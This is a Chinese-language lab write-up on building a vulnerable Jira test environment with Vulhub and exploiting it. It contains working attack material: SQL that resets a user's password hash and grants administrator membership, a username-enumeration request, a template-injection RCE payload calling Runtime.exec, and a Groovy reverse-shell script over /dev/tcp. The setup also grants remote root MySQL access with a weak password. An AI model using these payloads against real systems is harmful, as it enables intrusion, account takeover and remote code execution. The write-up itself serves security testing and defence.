记一次Jira的搭建和相关利用
字数 1847 2025-08-27 12:33:43
Jira系统搭建与漏洞利用全面指南
一、环境搭建
1. Docker环境准备
在Kali Linux上安装Docker和Docker-compose:
curl -fsSL http://mirrors.zju.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -
echo 'deb http://mirrors.zju.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.list
sudo apt-get update
sudo apt-get install docker-ce
sudo apt install docker-compose
2. 使用Vulhub部署Jira漏洞环境
git clone https://github.com/vulhub/vulhub.git
cd /vulhub/jira/CVE-2019-11581 && docker-compose up -d
3. MySQL配置
启动MySQL并进行安全配置:
service mysql start && mysql_secure_installation
修改MySQL配置文件允许远程访问:
vi /etc/mysql/mariadb.conf.d/50-server.cnf
授权root用户远程访问:
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%'IDENTIFIED BY '123456' WITH GRANT OPTION;
flush privileges;
创建Jira数据库:
create database jira default character set utf8 collate utf8_general_ci;
4. 解决MySQL驱动问题
下载MySQL驱动:
https://downloads.mysql.com/archives/get/p/3/file/mysql-connector-java-5.1.49.tar.gz
将驱动复制到容器内:
docker cp /path/to/mysql-connector-java-5.1.49-bin.jar 容器id:/opt/atlassian/jira/lib
5. 完成Jira配置
- 在Jira官网注册账号
- 申请30天试用license
- 完成所有配置进入系统
二、Jira数据库结构与关键文件
1. 关键配置文件
数据库配置文件路径:
cat /var/atlassian/application-data/jira/dbconfig.xml
数据备份目录:
ls /var/atlassian/application-data/jira/export
附件存储目录:
ls /var/atlassian/application-data/jira/data/attachments
2. 重要数据库表结构
| 表名 | 关键字段 | 描述 |
|---|---|---|
| project | ID, pname, URL, LEAD, DESCRIPTION, pkey, PROJECTTYPE | 项目主表 |
| project_key | ID, PROJECT_ID, PROJECT_KEY | 项目key表 |
| projectrole | ID, NAME, DESCRIPTION | 项目角色 |
| projectroleactor | ID, PID, PROJECTROLEID, ROLETYPE, ROLETYPEPARAMETER | 项目角色关联关系 |
| jiraissue | ID, pkey, issuenum, PROJECT, REPORTER, ASSIGNEE, CREATOR, issuetype, SUMMARY, DESCRIPTION | JIRA的issue |
| priority | ID, SEQUENCE, pname, DESCRIPTION, ICONURL, STATUS_COLOR | issue优先级 |
| resolution | ID, SEQUENCE, pname, DESCRIPTION, ICONURL | issue解决结果 |
| component | ID, PROJECT, cname, description, URL, LEAD, ASSIGNEETYPE, ARCHIVED | 模块表 |
| jiraworkflows | ID, workflowname, creatorname, DESCRIPTOR, ISLOCKED | JIRA的工作流 |
| cwd_user | ID, user_name, lower_user_name, active, display_name, email_address, CREDENTIAL | 用户表 |
| cwd_membership | ID, parent_id, child_id, membership_type, parent_name, lower_parent_name, child_name | 用户所属成员组表 |
3. 数据库操作技巧
修改用户密码:
update cwd_user set credential = '{PKCS5S2}ltrb9LlmZ0QDCJvktxd45WgYLOgPt2XTV8X7av2p0mhPvIwofs9bHYVz2OXQ6/kF' where user_name="name";
提升用户权限:
通过修改cwd_membership表的parent_name及lower_parent_name字段值为jira-administrators
查询项目所有用户:
SELECT p.id AS project_id, p.pname AS project_name, p.lead AS project_lead, prc.roletypeparameter AS project_roles
FROM project p LEFT OUTER JOIN projectroleactor prc ON prc.pid = p.id
WHERE p.pname = 'Test01';
三、漏洞利用
1. 未授权用户名枚举
请求:
GET /rest/api/2/user/picker?query=zhangsan HTTP/1.1
Host: xx.xx.xx.xx:8080
Connection: close
存在用户响应:
{
"users": [
{
"name": "zhangsan",
"key": "zhangsan",
"html": "<b>zhangsan</b>",
"displayName": "zhangsan",
"avatarUrl": "https://xx.xx.xx.xx:8080/secure/useravatar?size=small&avatarId=10122"
}
]
}
不存在用户响应:
{
"users": []
}
2. 模板注入RCE漏洞
前提条件检查:
http://xx.xx.xx.xx:8080/secure/ContactAdministrators!default.jspa
配置步骤:
- 配置SMTP:
http://xx.xx.xx.xx:8080/secure/admin/VerifySmtpServerConnection!add.jspa
- 开启联系管理员表单:
http://xx.xx.xx.xx:8080/secure/admin/EditApplicationProperties!default.jspa
POC:
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://xx.xx.xx.xx').waitFor()
反弹shell技巧:
由于Runtime.getRuntime().exec()不能执行管道命令,需要对命令进行base64编码。
3. 利用MyGroovy插件getshell
插件管理接口:
http://xx.xx.xx.xx:8080/plugins/servlet/upm?source=side_nav_manage_addons
查看Jira版本:
http://xx.xx.xx.xx:8080/secure/admin/ViewSystemInfo.jspa
下载对应版本MyGroovy插件:
https://marketplace.atlassian.com/apps/1218755/mygroovy/version-history
安装并执行反弹脚本:
def r = Runtime.getRuntime()
def p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
四、安全建议
- 及时更新Jira到最新版本
- 限制访问
/rest/api/2/user/picker接口 - 禁用不必要的插件功能
- 定期检查数据库权限配置
- 监控异常的用户权限变更
- 关闭不必要的SMTP功能
- 实施严格的插件安装审核机制
通过以上全面的指南,您可以深入了解Jira系统的搭建过程、关键数据结构以及常见漏洞利用方法,为安全测试和防御提供参考依据。